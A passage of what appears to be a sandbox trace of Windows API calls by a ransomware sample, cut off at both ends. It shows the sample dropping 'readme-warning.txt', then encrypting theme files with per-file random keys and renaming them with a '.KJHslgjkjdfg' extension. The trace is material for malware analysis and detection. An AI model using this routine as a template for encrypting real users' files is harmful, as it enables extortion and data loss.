GetProcessHeap () returned 0x2ef0000 [0172.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.296] GetProcessHeap () returned 0x2ef0000 [0172.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.296] GetProcessHeap () returned 0x2ef0000 [0172.296] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.296] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.296] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.296] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.296] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.296] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.297] GetProcessHeap () returned 0x2ef0000 [0172.297] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.297] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.297] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.297] GetProcessHeap () returned 0x2ef0000 [0172.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.297] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt") returned 81 [0172.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.298] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.299] CloseHandle (hObject=0x114) returned 1 [0172.299] GetProcessHeap () returned 0x2ef0000 [0172.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.299] GetProcessHeap () returned 0x2ef0000 [0172.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.299] GetProcessHeap () returned 0x2ef0000 [0172.299] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.300] GetProcessHeap () returned 0x2ef0000 [0172.300] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.300] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.300] GetProcessHeap () returned 0x2ef0000 [0172.300] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.300] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0172.300] GetProcessHeap () returned 0x2ef0000 [0172.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0172.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.300] GetProcessHeap () returned 0x2ef0000 [0172.300] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0172.300] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.300] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0172.300] GetProcessHeap () returned 0x2ef0000 [0172.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0172.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.301] GetProcessHeap () returned 0x2ef0000 [0172.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.301] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.302] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.302] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0172.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.303] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.303] GetProcessHeap () returned 0x2ef0000 [0172.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.303] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.303] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.304] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.304] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.304] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.304] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xe1ba, lpOverlapped=0x0) returned 1 [0172.306] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe1c0, dwBufLen=0xe1c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xe1c0) returned 1 [0172.306] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.306] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe1c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xe1c0, lpOverlapped=0x0) returned 1 [0172.306] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.307] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.307] SetEndOfFile (hFile=0x114) returned 1 [0172.308] GetProcessHeap () returned 0x2ef0000 [0172.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.308] GetProcessHeap () returned 0x2ef0000 [0172.308] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.kjhslgjkjdfg")) returned 1 [0172.315] CloseHandle (hObject=0x114) returned 1 [0172.315] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0172.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.315] GetProcessHeap () returned 0x2ef0000 [0172.315] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.315] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.316] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.316] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0172.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.317] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.317] GetProcessHeap () returned 0x2ef0000 [0172.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.317] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.317] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.317] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.317] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.318] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.318] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.318] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.318] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.318] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1f5, lpOverlapped=0x0) returned 1 [0172.318] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200, dwBufLen=0x200 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x200) returned 1 [0172.318] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.319] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x200, lpOverlapped=0x0) returned 1 [0172.319] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.319] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.319] SetEndOfFile (hFile=0x114) returned 1 [0172.320] GetProcessHeap () returned 0x2ef0000 [0172.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.320] GetProcessHeap () returned 0x2ef0000 [0172.320] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.kjhslgjkjdfg")) returned 1 [0172.330] CloseHandle (hObject=0x114) returned 1 [0172.331] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.332] GetProcessHeap () returned 0x2ef0000 [0172.332] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.332] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.332] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.332] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.334] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.335] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.335] GetProcessHeap () returned 0x2ef0000 [0172.335] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.335] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.335] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.335] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.335] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.335] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.335] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.335] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.335] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.335] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.336] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.336] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7fc, lpOverlapped=0x0) returned 1 [0172.336] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x800, dwBufLen=0x800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x800) returned 1 [0172.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.336] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x800, lpOverlapped=0x0) returned 1 [0172.336] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.336] SetEndOfFile (hFile=0x114) returned 1 [0172.339] GetProcessHeap () returned 0x2ef0000 [0172.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.339] GetProcessHeap () returned 0x2ef0000 [0172.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.340] CloseHandle (hObject=0x114) returned 1 [0172.340] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.341] GetProcessHeap () returned 0x2ef0000 [0172.341] RtlAllocateHeap 